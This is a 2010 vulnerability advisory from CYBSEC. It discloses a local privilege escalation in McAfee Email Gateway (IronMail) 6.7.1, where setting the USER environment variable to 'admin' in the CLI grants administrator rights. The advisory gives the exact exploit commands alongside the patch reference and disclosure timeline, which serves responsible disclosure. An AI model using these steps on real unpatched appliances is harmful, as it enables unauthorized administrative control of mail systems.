Advisory Name: Local Privilege Escalation in McAfee Email Gateway (formerly IronMail)

Vulnerability Class: Local Privilege Escalation

Release Date: Tue Apr 6, 2010

Affected Applications: Secure Mail (Ironmail) ver.6.7.1

Affected Platforms: FreeBSD 6.2 / Apache-Coyote 1.1

Local / Remote: Local

Severity: Medium - CVSS: 6.4 (AV:L/AC:L/Au:S/C:P/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Official Patch Released. Install McAfee Email Gateway 6.7.2 Hotfix 2.

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

Ironmail was found to allow any CLI user to run arbitrary commands with Admin rights, due to improper handling of environment variables.

Exploit:

* In order to run commands as a CLI Admin, follow the steps below:

[Secure Mail]: command rbash –noprofile
[Secure Mail]: declare -x USER="admin"

If you want to check the new privilege:

[Secure Mail]: cmd_admin set user unlock
*** Invalid command: Usage - set user unlock <USER ID> ***
[Secure Mail]: cmd_admin set user unlock admin
Cannot unlock yourself.
[Secure Mail]: exit

Impact:

Any user with CLI login access having a vulnerable version of the appliance, can escalate privileges and execute arbitrary CLI commands with Appliance Admin user rights.

Solution:

Official Patch. Refer to https://kc.mcafee.com/corporate/index?page=content&id=SB10008

Vendor Response:

Dec 1, 2009 / First Contact.
Dec 1, 2009 to Apr 5, 2010 / The Vendor has been working very hard on this. Issue fixed.
Apr 6, 2010 / Vulnerability went Public.

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996 CYBSEC S.A. is devoted exclusively to provide professional services specialized in Computer Security. More than 150 clients around the globe validate our quality and professionalism.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com